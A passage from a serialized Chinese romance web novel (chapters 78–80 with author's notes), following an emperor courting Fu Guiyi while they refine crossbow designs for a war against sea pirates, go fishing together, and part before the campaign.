“是我的错。”裴璟再次表达歉意,压在心里一年多的大石头总算落了地,傅归荑真的放下过去开始新生活,他也能放心去沿海杀敌。 “我能做些什么补偿你吗?”裴璟目光炙热地望着傅归荑。 她被看得有些脸热,匆匆丢下一句。 “不需要,时辰不早,我回去了。” 裴璟等她走后,叫店家上了一壶烈酒。 取过对面的杯子将剩余已凉透的茶饮尽,杯壁似乎还残留着傅归荑的温度。 裴璟用这杯子喝干净整壶酒,笑着离开了酒楼。 傅归荑离开前没有说什么让他走,亦或者别来打扰自己的话。 那她,是不是可以重新接受自己了? 裴璟觉得,他一直在等的机会终于来了。 深夜,秋日的蝉鸣叫得敷衍,随意嚎了几声便歇了嗓。 寂静黑暗的房间里,傅归荑仰躺在床榻上毫无睡意。 没料到她多年前的一句无心之言,裴璟竟然记得这么清楚,最后还闹了个大乌龙。 傅归荑忍不住失笑几声,他这算……关心则乱? * “听说你今天和我妹妹见面了!”傅归宜满脸怒容地来兴师问罪。 “对,”裴璟眉梢间透着喜意:“她好像并不排斥我。” 而后脸上笑意淡了下来,“你派人跟踪我?” 傅归宜恶狠狠道:“是她今晚上自己跟我说的!” 裴璟的笑又重新挂上,语气显而易见地紧张:“她说了什么?” “她说她讨厌死你了,让你滚出苍云九州,再也别出现在她眼前。” 裴璟明知道这是假话,心里还是忍不住像被刺了一下,酸涩胀痛。他面上半分不显,淡淡道:“这是你的想法,不是她的。” 傅归宜自觉无趣,忿忿不平地从怀里甩出一沓图纸扔在圆木桌上。 裴璟看着熟悉的字迹,心头颤动,拾起时指尖发抖,几乎拿不住。 “这是……” 傅归宜口吻愤恨又自豪:“这是她让我交给你的,大船重弩的改造方案。” 裴璟的眼窝染上一丝灼热,一时竟忘了回傅归宜。 他本来以为自己已经很爱傅归荑,却没想到他还可以更爱一点。 “你就偷着乐吧。”傅归宜提醒他:“等战事结束,别忘记论功行赏。” 裴璟似真似假道:“你看把我赏给她,怎么样?” “呸。” 傅归荑今日在晚膳时随口问傅归宜,他和裴璟是不是早已见面。 他当时听的时候正吃着鱼肉,差点没被鱼刺卡住喉咙。他小心观察傅归荑的脸色,发现她面色如常,似乎只是单纯的问个寻常问题。 傅归宜灵机一动,说裴璟来找他是为海寇一事,来请教潜水之事。 他不敢提潜水服,以免引得傅归荑怀疑。 她听后问了几句关于现在对抗海寇的作战方式,傅归宜知无不言。 晚膳后没多久,她送来了这份图纸。 傅归荑表示这是她闲来无事设计玩的,如果能帮上什么忙尽管拿去。 裴璟仔仔细细看了一遍,压抑住内心的激动,面上尽可能让自己看上去公事公办:“我有几处疑惑,想亲自请教……傅小姐。” 傅归宜抿唇怒视:“你别得寸进尺!” 裴璟不但得寸进尺,还成功登堂入室。 傅归宜本想拦住他,然而他问得问题太刁钻,傅归荑的回答又模棱两可。 主要是妹妹说她自己在设计的时候确实遇到几个无法解决的问题,就像之前连弩成功出世也并不是她一个人的功劳,她提到了季明雪。 傅归宜清楚这件事的重要性。 裴璟在苍云九州最多还有两日时间,若能解决这个问题,可以挽救千千万万将士们的生命,他不能因为私人恩怨罔顾他人性命。 镇南王府。 四个人坐在红木四角方桌傅归荑左边是哥哥,右边是季明雪,对面是裴璟。 其他三个人都在认真思考如何将重弩在海浪翻滚的情况下提高瞄准精度。 唯独傅归宜,他的双手环抱前胸,目光凝重在裴璟和傅归荑两人身上逡巡,仿佛要找出裴璟以公谋私的证据。 只要被他发现,他一定毫不留情地将人扫地出门。 然而裴璟的视线始终集中在桌面的图纸上,手脚规规矩矩摆放在该放的位置,除了傅归荑刚进来时颔首示意,再也没看她一眼。 “不知道对于这个问题,季将军有何见解。”傅归荑满怀期待地看着季明雪。 她话音一落,另外两双眼睛齐齐盯过来,季明雪顿觉自己头皮发麻,压力倍增。 “啊这……”季明雪挠挠头,他听了半天,心里只有一个想法,这东西傅归荑到底是怎么想出来,饶是他想破了天也不会有这样的奇思构想,更不要说给她提意见。 季明雪觉得自己可以给她提鞋。 傅归荑眼里的光慢慢黯下去,这个问题已经困扰她很久,本想接着这次机会弄明白,以偿夙愿。 季明雪平日在南陵,来苍云九州的机会不多,见面更是不易,自己也不好主动联系他。 傅归荑失望的表情让季明雪有一瞬间觉得他罪该万死,绞尽脑汁地回忆自己生怕所学,张嘴啊了半天也没啊出个所以然来。 “没关系。这问题一时之间确实没办法解决。”傅归荑给他递了台阶。 “我觉得问题不在望山上,而在于弓弦。”裴璟声音缓慢有力:“弓弦过紧,反而丧失对方向的调整空间。或者可以给重弩设计一个机关,让它根据目标远近来调整弓弦松紧度。” 傅归荑眼前一亮,她的注意力一直放在望山上,望山是弩箭瞄准器。她善用长弓,弓弦的拉伸她可以自由控制,但是弩箭却不行。 箭射出去是以望山瞄准的中心以抛物线的轨迹落下的,她只想到如何去设计望山的瞄准而忽略了弓弦本身的力量。 以长弓为例,并不是力量越大,精度越准,而是目标与自身的力量找到一个平衡点。 射箭并不是蛮力,而是巧劲。 “好主意!我怎么没想到。”傅归荑下意识朝声音主人看去,刚好对上裴璟望过来的双眸。 他的眼睛微弯,眉梢在笑,幽黑如渊的双眸闪烁着毫不掩饰的爱意。 傅归荑被看得脸一热,慌忙低下头。 裴璟看见她的长睫不住地乱扑腾,像小刷子似的拂过自己的心尖,胸口的痒意倏地蔓延至喉头。 他端起茶杯假装抿了一口。 季明雪一听,毫不吝惜地夸赞:“陛下圣明!改造弓弦松弛的机关比望山容易。”他说完感觉不对,又补了一句:“傅小姐的构思巧妙,也令我佩服。小姐与陛下两人简直是相辅相成,珠联璧合。” 傅归荑闻言也端起茶杯抿了口。 一时间无人说话,气氛变得有些古怪,对面的镇南王脸色黑如锅底。 季明雪感觉自己好像说错话,缩着脖子跟鹌鹑似的。 傅归宜嘲讽:“季明雪,你一个武状元,能不要乱用文绉绉的词吗?” 什么珠联璧合,相辅相成,他听着真刺耳。 季明雪觉得自己受到侮辱,他虽然是武状元,但又不是一个大字都不识的莽夫,四书五经,兵法谋略他也是从小耳熟能详。 “哪有用错,上次连弩也是陛下提出了切实可行的改进方法,才有了今日无所不催的追云骑。” 季明雪不敢大声嚷嚷,然而在寂静的空间里足以让所有人听清。 傅归荑猛地抬头看向裴璟,他神情泰然自若,并没有因为季明雪的夸赞而自得,仿佛这只是他日常处理的一件微不足道的小事。 她的心悄然颤了颤,原来上一次解决困扰她多年难题的人是裴璟。 她一直以为是季明雪,那次在校场主动接近他,提出训练骑兵的建议,也是为了回报他为自己解惑,还将她的设想变为现实。 傅归荑知道真相后抿了抿唇,裴璟好像从来没有提过这件事。 傅归宜可不乐意自己妹妹的功绩被裴璟霸占,出言提醒:“设计图纸可是我妹妹提供的,你怎么说的好像都是他一个人的功劳。” 季明雪急急道:“我没有这个意思,我……” “够了。”裴璟冷言打断,他扫了眼挑事的傅归宜:“时间不多,你们两个废话挺多的。” 两人噤声,眼神在空气中持续厮杀。 傅归荑的余光穿过激烈的空中战场,落在裴璟的脸上。 她忽然注意到,裴璟两鬓的白发又恢复成黑色,近两年的时光在他身上好像没有留下岁月的痕迹,反倒是外露的骇戾之气沉淀下来,酿成一壶深藏不露的酒。 闻着醇厚,实际上烈如刺刀。 忽然,对面的人抬眸望过来,对她轻扬唇角。 傅归荑慌忙移开视线,盯着桌上凉透的茶杯,心脏怦怦直跳。 手不自觉握住杯壁,又像触电般缩了回来。 明明是冷的,她怎么觉得烫手。 “喝热的,凉茶伤身。”裴璟替她满上热茶,他的视线虽没有时刻在傅归荑身上,注意力却从未离开。 “谢了。”傅归荑头埋得更低。 “倒茶就倒茶,你的手离这么近做什么!”傅归宜抢过裴璟手中的茶壶,想接着他的动作。凑近一看,发现茶已经满了,骂骂咧咧给自己倒了点。 他看见对面季明雪气鼓鼓的样子,眼珠子都在骂他,轻笑一声给他满上。 季明雪的腮帮子瘪了下去,没好气地道了声谢谢。 剑拔弩张和暧昧绵长的气氛用一杯热茶混在一起,居然有种奇异的和谐。 后面几人又对这个改进方案做了一番讨论,傅归荑每次提出小细节改动,裴璟都能够接上,并给予最大的完善。 同样的,裴璟有疑惑的地方,傅归荑也能及时解答。 两人一来一往,话不多,却让另外两人硬生生插不上嘴。 傅归荑是没有意识,裴璟是故意为之。 讨论完,滚烫的热茶刚好降到合适的温度,傅归荑一饮而尽,有种酣畅淋漓之感。 傅归宜眼疾手快地替妹妹满上,没再给居心叵测之人留一点机会。 往后的讨论,主要集中要如何运用重弩对海寇作战。 这是傅归荑的知识盲区。 南北战争时,父亲从不让她去前线,上战场也是在后方阵地,做一些微不足道的事务。 她的身体不适合长途奔波,大部分还是留在大本营帮助父亲训练骑兵的骑射功夫。 傅归荑静静地坐在一旁听着。 季明雪提到海寇的特点,他们依仗熟悉海域情况化整为零,有组织有纪律的分批骚扰,声东击西。 他们十分凶残,遇到海面上的商船抢完财物后绝不留活口,女人会当做战利品带回去。 一边劫掠财物,一边到处吸纳穷凶极恶之徒,不但有南陵的逃犯,还有周边数十个小岛的原住民。渐渐发展成了一个小国,把南陵海岸线一带当作随时补充物资的粮仓。 海寇个个是熟悉水性的好手,在跟朝廷水师对抗时会潜入水底在他们的船只下方一边放上重物,迫使整条船无法平衡,更别说作战抵抗。 好在裴璟手里有连弩,看见船只附近水底有动静便无差别一顿狂射,叫他们不能动手脚。 然而这治标不治本,光抵抗不进攻可不是裴璟的作风。 海寇狡猾,他们知道自己正面硬抗,绝无取胜南陵正规军的可能,秉承着打不过就跑的原则,又狡兔三窟,很难全数歼灭。 季明雪在说的时候一脸凝重,连傅归宜都眉头紧皱。 反观裴璟神色淡淡,针对每一个困难提出切实可行的解决方案,季明雪和傅归宜偶尔会反对他的建议,裴璟并不生恼,反倒鼓励和采纳他们的看法。 最后三人一致商讨出新的作战方式,扬长避短,利用新设计的重弩掩护潜水的士兵。 裴璟有条不紊地安排季明雪改造重弩,同时命令兵部选拔精通水性之人,又让户部准备好出海用的干粮。 海上作战可没空埋锅造饭,淡水资源也是一个很重要的问题。 傅归荑听着听着,变换姿势,以手支额撑在桌上,注意力不自觉被裴璟沉稳有力的声音吸引。 他的眼神专注而认真,好像再大的困难在他面前也不值一提。 季明雪他们布满愁云的面容因为裴璟自信飞扬的神色变得渐渐明朗,紧皱的眉头舒展开来。 连哥哥都不自觉按照他的话往下想,往下做。 裴璟有一种镇定人心的力量,仿佛只要他在,一切难题都会迎刃而解。 “你是不是累了?”裴璟注意到傅归荑的目光变得有些迷离,还以为她是不耐烦听这些。 “你去好好休息罢。”他放低声音:“今天多谢你的建议,等我凯旋,定有重谢。” 裴璟嗓音低沉,有力地打在傅归荑耳膜上,连同心脏都悄悄震动起来。 “好,那你们聊。”傅归荑垂落的双手攥紧裙摆,猛地起身离开。 裴璟看着消失在门边的倩影,怅然若失。 “回神。”傅归宜伸出手,张开五指在他眼前晃悠,“别看了,人现在已经到屋里。” 裴璟冷冷刮了他一眼,继续安排剩下的事。 季明雪当作什么也没看见,低头捏了捏鼻尖。 看来陛下跟傅小姐之间的最大阻碍,是面前的镇南王。 傅归荑几乎是落荒而逃,她脚步飞快,迎面的凉风吹散身体的些许热意。 然而当她回到房间后,脸上的热度再一次席卷而来,更甚之前。 她以前好像从没有认真看过裴璟的相貌,只是隐约有个印象,今天傅归荑忽然发现他的眼睛深邃,双眸望过来时像是会说话一样。 傅归荑的目光落在自己打开的书册上,里面都是关于各种弩的介绍。 她阖上书页,好像已经不需要再看了。 “大小姐,厨房来问,今晚是吃糖醋鱼还是红烧鱼,或者炖个鱼汤滋补。” 素霖的声音吓了傅归荑一跳,她按捺住狂跳的心脏,隔着门压住嗓音道:“都做,今晚上用膳的人多。” 天色渐暗,傅归宜准备把两个不速之客扫地出门时,素霖及时赶到。 “大小姐请厨房做了陛下和季将军的晚膳。” 裴璟闻言脚步一转,熟门熟路地往饭厅走。 傅归宜在他身后怎么喊,他都当没听见。 作者有话说: 看到有小可爱说让我解释一下枇杷树剧情,这个剧情不是体现男主有多聪明,反而是体现他关心则乱(遇上女主的事就开始发疯,不正常)。不知道大家有没有过这种心理,越是在乎的人,越怕ta出事。ta去小区门口买瓶酱油,都怕ta遇上意外,身体哪里有点小病小痛,就怀疑是不治之症。归根结底就是太在乎,不容许出一丝丝意外。 现在倒回去看76,基本上都是男主视角和哥哥视角,他们都很在乎女主,所以会因为她的任何风吹草动而方寸大乱。 有个细节是女主发现自己树都被吹倒,叹了很多口气。一般不想活的人,会选择流泪或者默然不语,觉得是上天的提示之类的。 傅归荑内心:气死我了,辛苦一年全部干白!我只是累病了,春节期间还不能让人放个长假吗?我是个混吃等死的超级白富美,又不需要工作,多躺一下怎么了! 傅归宜:果然我一开始的预判才是对的,妹妹看见果园被毁肯定难过。 季明雪:我最强助攻。 裴璟:回去给小季加官进爵。 男主补充女主设计的剧情指路13章,太前面可能有人忘记了。 第79章 相送 晋江文学城独家发布 傅家两兄妹用膳时习惯相对而坐, 这恰巧给了裴璟机会。 季明雪非常有眼色,坐在傅归荑另一侧。 四个人的位置变成傅归荑的左手边是裴璟,右手边的季明雪, 傅归宜黑着脸坐在对面。 她看着碗里堆成小山的鱼肉,默默叹了口气。 看来今天晚上做了一个错误的决定。 “多吃点, 你怎么越吃越少。”裴璟碗旁边堆了大量的鱼刺, 碗里却空空如也, 一晚上都没两口。 “她爱吃多少吃多少,厨房一直备着点心, 饿了再吃。”傅归宜嘴上这么说,手里的公筷却没停下,势必要在给傅归荑夹菜这件事上和裴璟分个高下。 季明雪埋头猛地干饭, 他知道这不是自己能掺和的战场,况且他也好久没有这样好好吃上一顿饭了。 眼皮悄悄上抬, 他看见陛下悉心地替傅小姐挑鱼刺的模样, 内心感慨。 他们从南陵京城到苍云九州,为了不耽搁时间, 路上吃的都是干粮和馒头。来了没几天, 又要往回赶, 哪有空好好吃顿饭。 想了想,季明雪又添了一碗饭。 特供的御膳房的鱼味道就是好,哪怕饿了十几天肉质依旧鲜美,平日里在外面可吃不到。 “我饱了, 你们慢用。”傅归荑作为和平爱好者,不喜欢起争执, 也不喜欢有人为她起争执, 她用帕子擦干净嘴角, 转身离开。 “你高兴了?”傅归宜讽刺道:“她不喜欢吃,你非要逼她吃,还总打着为她好的名义。她这么大个人,总不会饿着自己,镇南王府更不会饿着她。” 裴璟用手帕擦拭干净带油的手指,脸上没有被顶撞的郁怒,神色淡然:“我终于找到她去年一病不起的原因。” 傅归宜听出裴璟这是在怪他没照顾好人,关于傅归荑轻生这件乌龙,他已从裴璟这里知晓。 太累加上身体弱,病去如抽丝。 傅归宜也知道傅归荑吃得少,他想办法找了很多厨子,甚至花重金去南陵京城请告老还乡的御厨重新出山,也未能改变她的进食情况。 裴璟指点道:“她喜欢吃好看的东西。” 傅归宜听得一头雾水,“什么意思?” 裴璟用筷子点在傅归荑的碗里,发现没吃完的鱼肉大部分都是傅归宜挑的,形状松散,这里碎一块那里碎一块,像被什么东西搅碎似的。 “在东宫的时候我发现,她吃得最多的点心,尤其是看上去鲜艳精致的,比如荷花酥,水晶糕这类。不喜欢吃肉菜,更不喜欢吃酱菜,蔬菜喜欢胡萝卜和南瓜,绝不吃茄子。” 傅归宜听得目瞪口呆,他从没往这个方向想,以为是菜不合胃口。 裴璟挑眉:“她吃葡萄只会吃最末端的和最前端的,因为这两处的葡萄被挤压最少,形状最完美。她喜欢吃硬一点的桃子,不喜欢吃汁水过多的,是为了拿在手上不易变形。” “我不……”傅归宜把后面的话吞进肚子里,别的他还没验证,吃桃这一点上他是清楚的,妹妹的确不喜欢吃熟透的桃,他还以为两人口味一致,喜欢酸酸甜甜的口感。 傅归宜反驳道:“她不是以貌取人的人。” 裴璟道:“我没说她以貌取人,只是个人小习惯罢了。” 裴璟又说了些自己观察到的,傅归荑零零碎碎的小习惯,尤其是空腹喝酒这一条强调多次:“这很伤胃,你看好她。” “知道了。”傅归宜口气不怎么高兴地应下。 他决定从今天开始好好观察一下妹妹,看是不是裴璟在驴他。 “等一下……”傅归宜叫住要起身离开的裴璟,目光在他脸庞和头发上逡巡片刻:“你的头发变黑了,难道是怕她嫌弃你长得丑?” 裴璟连声冷笑都欠奉,沉着脸离开。 傅归宜对着一桌子冷掉的菜,莫名笑出声。 裴璟居然有一天也会在意自己的外貌。 * 次日,天朗气清,惠风和畅。 傅归荑带着她的钓竿又往若依河去,昨晚上忘记请哥哥替她占一卦。 白日里他有事情忙,她便没有去打扰。 看着湖面上毫无动静的浮标,傅归荑惬意地躺在靠椅上,仰头望向湛蓝的天空。 无端回忆起几年前她在平溪猎场时,遥望潺潺流水和雾里青山,想着若是找回哥哥,她要找个山清水秀的地方隐居,什么事都不管。 如今虽没有找个地方隐居,但哥哥回来后没再让她操过半点心,整日里她想做什么他总是双手支持,他还告诉傅归荑已经购买了一批绝佳品相的果苗,等春天两人一起再种下。 傅归荑笑着说好。 日子幸福平淡,她由衷地感到快乐。 忽然,头顶上方冒出个熟悉的人脸。 “陛下。”傅归荑站起身,被裴璟拦下。 裴璟声音缓慢:“不必多礼,你总是这样……小心谨慎。” 其实他想说的是拒人千里。 傅归荑没有纠缠这个话题,她看了眼裴璟手里拿的鱼竿,有些诧异:“您今日是……” “听你哥哥说你练就了一手钓鱼的好技术,”裴璟面不改色地夸赞:“我也想见识一下。” 傅归荑谦虚道:“不过是用来打发时间,难登大雅之堂。” 她语气里的得意怎么也压不住。 裴璟觉得傅归荑变了很多,她以前总是染了一层暮气,对什么事都提不起半分兴趣,更遑论有这样天真烂漫的表情和语气。 这一刻,裴璟终于彻底相信,傅归荑真的没有寻死的心。 她的眼里充满对世界和生活的探索和热爱,裴璟莫名有些感动。 “钓鱼是门大学问,”裴璟搬来一张矮凳坐在她旁边,距离不远不近,刚好抵消他身上淡淡的威压,“要技巧,要忍耐,也要懂得抓住时机。” 傅归荑总觉得他的话里藏有深意。 裴璟却已经别过脸,专注地忙活手里的东西,调整浮标,挂上饵料,抛竿,动作一气呵成。 他随意抓了把饵料往水里抛,落下点点涟漪。 弯腰又抓一把,往傅归荑的浮标附近也洒了些。 “谢谢……”傅归荑问他:“陛下今天不忙吗?” “还好。”裴璟反问:“我在这里,让你感觉到不舒服了吗?” 倒也没有。 傅归荑摇摇头,不再说话,专心致志看着水面。 过来一会儿,裴璟忽然开口:“我记得当年在避暑山庄的时候,我们比射箭,我输给你了。不如今日比一比钓鱼?” “那是陛下故意让我的。”傅归荑心里门清:“我当年确实技不如人。” 这两年她专门苦练远射,现在与裴璟比试,鹿死谁手未可知。 裴璟听出她的言外之意,屈指掩唇一笑。 傅归荑的好胜之心还如当年那般,看似面上不在意,实则内心是个极其傲气的人,跟他哥哥一样。 在北蛮皇宫时,裴璟找人教傅归各种知识和功夫,刚开始他因为记忆受损会经常头痛,跟不上学习进度。 裴璟本想放缓速度,谁料傅归宜不肯,硬是咬牙彻夜苦读。他当时的身体已经不适合练缩骨功,但他宁可忍着重塑筋骨的痛也要学会。 他知道这门功夫能在执行危险任务的时候让他多一分活下去的机会,傅归宜当时心里肯定也和裴璟一样,希望能逃出北蛮,有朝一日能平安归家。 “傅小姐,那你意下如何?”裴璟知道傅归荑肯定会上钩,她对自己让她这件事耿耿于怀,但她太想拿到丹书铁券,所以认了下来。 她自避暑山庄后,每次练箭皆以远射为主。 “陛下总要有个彩头。”傅归荑这段时间每次都满载而归,又觉得裴璟的动作总有几分故意在,怕是个纸老虎。 “我许你一个要求。” “什么要求都可以?” “都可以。” 傅归荑垂眸,轻声道:“我要你从此再也不要出现在我面前,也可以?” 裴璟身顿,他本以为傅归荑不再排斥他,厌恶他,难道前几日包括昨晚上都是他的错觉吗? 他僵硬地转过头对上傅归荑,她正好抬眸望过来,眼神认真。 裴璟喉头酸涩,仍然艰涩开口:“只要你高兴,都可以。” 他甚至不知道自己是如何说出这句话的,声音如同落在湖面上的秋日的枯叶,看似沐浴阳光,实则早已枯萎,最终沉底才是它的宿命。 傅归荑嗓音清亮,毫不犹豫道:“我同你比。” 裴璟扯了个笑,示意开始。 傅归荑立刻收起玩笑的心思,专注地盯湖面。 芦苇深处,傅归宜和季明雪穿上潜水服,轮流入水。 傅归宜每次潜进去,都只会给妹妹挂鱼,还会捞一把水草勾住裴璟的鱼钩。 隔着水层,他也能听见傅归荑压抑不住的喜悦。 “又上钩了!” 季明雪显然没有这个胆子,他秉承着雨露均沾的原则,每次都一边挂一个,大小都大差不差,将中庸之道发挥到极致。 “我为什么要帮裴璟讨我妹妹的欢心。”傅归宜闷闷不乐:“看他们两个在一起真碍眼。” “镇南王,毒蛇大人,你行行好,”季明雪忍不住帮裴璟说话:“陛下明日便要启程前往沿海,这一去生死未知,让他们两个单独呆一会罢。” 他虽不知道两人发生过什么事,也不明白为什么傅归宜对陛下和傅小姐的事情如此反对,但陛下为傅小姐做的事情他看得最清楚。 近两年的时间,光是马就不知跑死了多少匹,更不要提好几次陛下带伤骑行,连他这个全须全尾的人都撑不住,不得不在中途修整几日。 陛下凭着惊人的毅力,愣是每次都在七日之内到达,到了之后也不去见傅小姐。 仿佛只要跟她在同一座城中,离她近一点,陛下便知足。 季明雪活了这么久,没体会过情爱,但是他体会到了情爱的痛。 他的大腿内侧现在都在隐隐作痛,晚上睡觉只能趴着。 傅归宜冷哼了声,眼睛死死盯着对岸,暗道若是裴璟敢有逾矩的行为,他一定马上冲过去。 日薄西山,周围的温度渐渐变凉,秋风扫过,傅归荑忍不住打了个觳觫。 “不早了,”裴璟道:“回去罢。” 傅归荑看着两人鱼篓里明显的差距,不经意地把它们推到裴璟眼前。 “陛下承让。” 裴璟笑得没什么温度:“你赢了,想要我答应你什么要求?” 若是傅归荑真提出不再见他,那从今往后他再也不现身便是。 傅归荑道:“我想要陛下答应我,平安凯旋。” 裴璟眼睫一颤,倏地看向她,怔怔道:“平安凯旋?” 傅归荑自顾自收拾东西,“您明日要离开苍云九州去沿海抵御海寇,我提出这个要求是很难吗?” “我只是没想到,会是这个。” 裴璟的情绪从冰川谷底一下飞入云端,飘忽得他身形不稳,略微往后退了一步。 “我还以为,你会希望我死,毕竟我对你……” “陛下慎言。”傅归荑收好东西拍拍手,直起身看着裴璟:“您是位好君主,我是万千普通臣民的一员。臣民不会希望君主出事,只希望他能给天下带来福祉。” 傅归荑话里话外的意思只把他当做君,她为臣。 “那你呢?”明日便要离开,裴璟忍不住问她:“傅归荑希望裴璟死吗?” 傅归荑淡笑一声:“傅归荑,她不希望任何人死,想所有人都能好好生活。” “包括裴璟?” “裴璟不是人?” 傅归荑挑眉,示意裴璟回答。 “他曾经确实挺不是人的。” 傅归荑失笑道:“确实如此。” 裴璟跟着笑。 * 晚上,裴璟亲自下厨为傅归荑烤了一条鱼。 傅归宜看着点缀在上面显眼的鲜嫩绿葱段,感叹了一句:“果然是色香味俱全。” 他的音节重重停留在色字上面。 裴璟白了他一眼,眼疾手快地用筷子拦住他的筷子,示意他别碰。 眼看傅归宜又要找事,季明雪忙不迭拿了只鸡腿堵住他的嘴,“这个好吃,王爷多吃点。” 傅归宜冷冷刮他一眼,放弃吃烤鱼。 季明雪松了口气,余光看见裴璟递给他一个赞许的眼神,心里止不住地激动。 这顿饭,一人管一个。 裴璟顾着傅归荑,挑刺,倒酒,无不贴心。 季明雪牢牢看住傅归宜,不许他扰人好事,拼酒,叙旧,谈感情,无所不用其极。 勉强算宾主尽欢。 临走告别前,裴璟道:“明日不用送。” 傅归宜冷笑:“谁要送你。” 傅归荑点头嗯了一声。 裴璟与季明雪告辞。 翌日清晨天还没亮,周围被一层黑雾笼罩,只能隐隐约约看清前方五丈以内的路。 裴璟穿上银甲,纵身上马。 临走前,他往镇南王府傅归荑的院子里看了一眼,握住缰绳,驱马前行。 季明雪及一众追云骑跟在后面。 街道上响起奔雷般的蹄蹄马声,银甲犹如一把霜刃,劈开黑暗。 昨夜他们早已跟傅归宜打过招呼,城门会提前打开。 但见有两人立于城墙脚下,身形隐在夜幕里,唯有一盏明灯悬在空中。 裴璟停在两人身侧,并未下马。 “不是说过不用送了?”他的锐利的目光穿透黑暗,直直落在傅归荑脸上,倏地又变得柔软,带着三分惊喜,七分担忧。 她是起得早,还是一晚上没睡。 “南陵有习俗,送别远行之人用一碗汾酒,盼君重逢。” 傅归荑端起一碗酒递给裴璟,自己拿起一碗,一旁的傅归宜给季明雪送上。 四个人隔空举碗,一饮而尽。 裴璟喝下微凉的酒,流过喉间时却迅速窜上一簇火苗,顷刻间烧遍全身,将重逢二字烙印进胸膛。 “下次还是不要空腹喝酒。”裴璟低声嘱咐她:“好好照顾自己。” 说完,不再停留,扬鞭而去。 季明雪喊道:“王爷,傅小姐,后会有期。” 他立刻跟紧裴璟,策马相随。 等看不见那队人马,傅归荑方才收回目光,有点不确定地问:“哥哥,他们会赢的罢?” 傅归宜戏谑道:“我还没有见裴璟打仗输过,这勉强算是他为数不多的优点之一。” 傅归荑轻笑了声:“那就好。” 两人肩并肩,慢慢走回镇南王府。 * 这场战争远的持续时间比傅归荑想象的要长很多。 秋去冬来,依旧没有传来胜利的消息。 傅归荑没再去若依河钓鱼。 临近冬日,湖水开始结冰,哥哥不让她出门,生怕她受凉染上风寒。 镇安王府的气氛开始变得凝重。 “妹妹,过完年我也要赶往沿海作战。”傅归宜故作轻松道:“他没了我,果然不能如同从前那般运筹帷幄,决胜千里。” 傅归荑笑着点头,然而她却没忽略哥哥眼眸中的凝重。 除夕前,父亲母亲回到家,邓意也赶了回来。 他再见到傅归荑时,眸光平淡,笑意释然。 “阿荑,”邓意道:“我能这么叫你吗?” 傅归荑道:“当然可以,你现在也是我的哥哥,一直都是。” 邓意笑容如从前那般温和。 一家人整整齐齐吃完团圆饭。 “我叫人买的果树苗开春送到,”傅归宜收拾好东西,嘱咐傅归荑:“到时候别一个人瞎忙活,叫素霖或者邓意帮你一起弄。” “这么早就要走吗?”傅归荑眉头微皱:“今天才大年初一。” 傅归宜拍了拍妹妹的肩头,“早点去,早点回。争取赶上你的生辰,到时候哥哥给你带礼物回来。” 五月初八。 居然要这么久。 傅归荑还想问仔细些,都被傅归宜含糊过去,大意是让她不要操心,好好养身体,别累着,小心受凉。 傅归宜与父亲母亲告别后,带了三千傅家骑兵离开了。 父亲这次没有再走,留下接手苍云九州的大小事务。 转眼到了三月初,万物复苏。 傅归宜购置的果苗悉数送到,邓意和她一起把它们种在园子里,他还颇有情趣地找来些月季花种了一圈。 傅归荑一直注意沿海战况,后来她父亲说乌家、池家……那些去南陵学习的世子背后的部族都派人前去支援。 乌拉尔也去了吗? 傅归荑想到若是他遇见哥哥,指不定会闹出什么笑话。 “阿荑,你有心事。”母亲看出自己的女儿心不在焉,开口问。 “没有。”傅归荑摇头,“只是有些担心哥哥。” “恐怕不止担心你哥哥。”母亲打趣她:“你今天已经看了墙上那把弓好几眼。” 傅归荑抿紧唇,不接话。 * “阿宜,你怎么你不理我?”乌拉尔觉得他的好兄弟变得好奇怪,毁了脸后堪称性情大变:“我不会嫌弃你的,咱们男子汉不靠脸,靠得是真实力!” 乌拉尔听说苍云九州的新任镇南王点齐兵马来沿海通州支援皇帝,立刻主动请缨带队完成这次任务。 两年不见,也不知道阿宜有什么变化。 乌拉尔也听说傅归宜被毁容的消息,当时听后心痛极了,阿宜长得那么好看,怎么会遭遇这种祸事。 他碍于藩王不得随意出封地,都没办法去看看他。本来想写书信问候,又怕这样给他带来麻烦。 不是乌拉尔阴谋论,实在对他毁容这件事充满疑虑,他甚至怀疑是当今陛下动的手脚。 他们两个人如今的相处让乌拉尔愈发看不懂,以前阿宜脾气明明很好的,只是不爱说话。现在话不仅多,还敢顶撞陛下。 陛下虽然没有治罪,但好像也没了曾经对阿宜的温和。 他们之间一定有故事。 乌拉尔得出这个结论。 还有,他发现阿宜长高不少,肩膀宽实,胸膛挺阔,总而言之更男人了。 “你今天的任务完成了没有,怎么那么多话!”傅归宜没想到妹妹居然结交了位这样的朋友,想不通他到底哪里吸引傅归荑。 “完成了!”乌拉尔凑到傅归宜旁边,用手臂撞了撞好兄弟,神秘兮兮道:“你的脸到底怎么回事,是不是……” “你这么大劲儿干嘛?”傅归宜差点被他撞摔倒。 “对不起,”乌拉尔立刻道歉,“太久没见你,一下子失了力道。” 傅归宜敏锐地听出他的言外之意:“你以前,经常这样撞我?” 乌拉尔正要解释,忽然听到有人来报。 “镇南王,苍云九州有一队人马前来支援,是您叫的吗?” 傅归宜疑惑地啊了一声:“谁?我没叫啊。” “带队的……是个女人。她说她是你妹妹。” 前来汇报的士兵说话变得结结巴巴的。 “什么!”傅归宜没空纠结乌拉尔,赶紧冲出去。 乌拉尔也跑过去凑热闹,心道阿宜的妹妹不是个病秧子吗? “傅归宜跑什么?”裴璟半眯着眸:“跟赶着投胎似的。” 季明雪招来士兵询问,听清后倒吸一口凉气。 “好像是,傅小姐来了?” 作者有话说: 裴璟:为了钓老婆这条美人鱼,我是做足了功夫的。 女儿的快乐和幸福并不建立在男主的痛苦之上,她是发自内心的感知到快乐。 无论发生过什么事情,都能拥有让自己快乐起来的能力,才是真的强大。 这本书应该会在本月末或者月初第一天正文完结,届时会改名《明月照九州》,后续走向是往HE方向发展。 第80章 赠花 晋江文学城独家发布 “妹妹, 你怎么来了?”傅归宜跑得上气不接下气,瞪大眼皱眉道:“这里危险,赶紧回去!” 傅归荑身穿明红色骑装, 一头青丝高高挽起,用了只金簪固定在头顶, 露出姣好动人的五官。 无法垂落在后, 衬得脖颈的肌肤雪白细腻, 浓郁的红衣将她身上的那份清冷之气压下,显出飞扬自信, 英姿飒爽。 如一朵盛开的红玫瑰插在荒原之中,带来希望,又如一团烈焰放纵在贫瘠之地, 点燃枯燥。 简言之,傅归荑的到来引起了一阵不小的轰动。 镇南王妹妹, 长的像仙女一样, 未婚配。 每一点拿出去都足够引起噱头,何况三者相结合。 士兵将领们或多或少目光都不由自主地往傅家兄妹两人这处集中, 